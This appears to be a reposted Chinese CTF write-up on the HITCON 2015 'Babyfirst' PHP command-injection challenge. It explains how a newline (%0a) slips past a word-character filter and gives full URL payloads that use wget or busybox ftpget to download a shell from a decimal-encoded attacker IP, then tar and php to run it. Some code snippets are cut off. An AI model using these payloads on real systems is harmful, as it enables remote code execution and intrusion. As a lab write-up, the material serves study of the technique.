阅读 96

CTF_Web 入门记录

目录

命令执行

题目1[HITCON 2015 - Babyfirst]


代码分析:在目录sandbox下,新建以IP地址命名的目录。

$dir = ‘sandbox/‘ . $_SERVER[‘REMOTE_ADDR‘];
if ( !file_exists($dir) )
  mkdir($dir);
chdir($dir);

代码分析:接受GET方式提交的参数args(数组),匹配数组中的每一项是否只有数字、字母、下划线组成,最后执行/bin/true命令,并且拼接args参数

$args = $_GET[‘args‘];
for ( $i=0; $i

根据目前情况已知:

  1. 根据循环遍历代码:$i=0; $i,可知$args是一个数组
  2. 根据匹配代码:preg_match(‘/^\w+$/‘, $args[$i],可知$args中每一项必须是由数字、字母、下划线组成。【这里需要绕过】
  3. 根据执行代码:implode(" ", $args),可知$args中每一项都使用" "空格分隔,符合执行多条命令的条件。

解决思路

  1. 命令换行
    两条命令执行,需要有分割,否则系统无法识别。
    \n -> URL编码后是%0a,并且%0a也会绕过匹配代码。
    /?args[]=a%0a&args[]=touch&args[]=abc,相当于执行了以下命令
/bin/true a
touch abc

这时候在IP地址命名的目录下面,新建了一个abc的文件

  1. IP地址匹配
    IP地址使用点分十进制来表示,此时程序在匹配的过程中,会无法匹配到,因此可以使用IP地址的十进制格式绕过匹配。
    例如:
127.0.0.1
2130706433

在线转换地址:
注意:文件后缀名的点也会被匹配到,因此文件后缀无法出现。

解题方法

  1. 上传shell【wget、busybox->ftpget等】
http://127.0.0.1/
?args[0]=x%0a
&args[1]=mkdir
&args[2]=abc%0a
&args[3]=cd
&args[4]=abc%0a
&args[5]=wget
&args[6]=IP地址%0a

或者

http://127.0.0.1/?args[]=aa%0a&args[]=busybox&args[]=ftpget&args[]=&args[]=script
  1. 执行shell
http://127.0.0.1/
?args[0]=x%0a
&args[1]=tar
&args[2]=cvf
&args[3]=aa
&args[4]=abc%0a
&args[5]=php
&args[6]=aa

http://127.0.0.1/?args[]=aa%0a&args[]=php&args[]=script

shell代码:


‘);

?>

原文:https://www.cnblogs.com/WeiJunHuaXin/p/14932050.html

文章分类
代码人生
版权声明:本站是系统测试站点,无实际运营。本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 XXXXXXo@163.com 举报,一经查实,本站将立刻删除。
相关推荐